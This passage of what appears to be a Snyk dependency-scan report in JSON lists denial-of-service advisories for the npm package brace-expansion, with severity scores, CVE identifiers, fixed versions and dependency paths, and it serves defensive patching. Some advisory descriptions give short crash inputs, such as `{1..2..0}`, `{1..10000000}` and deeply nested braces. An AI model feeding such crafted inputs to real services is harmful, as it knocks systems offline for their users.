<2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": 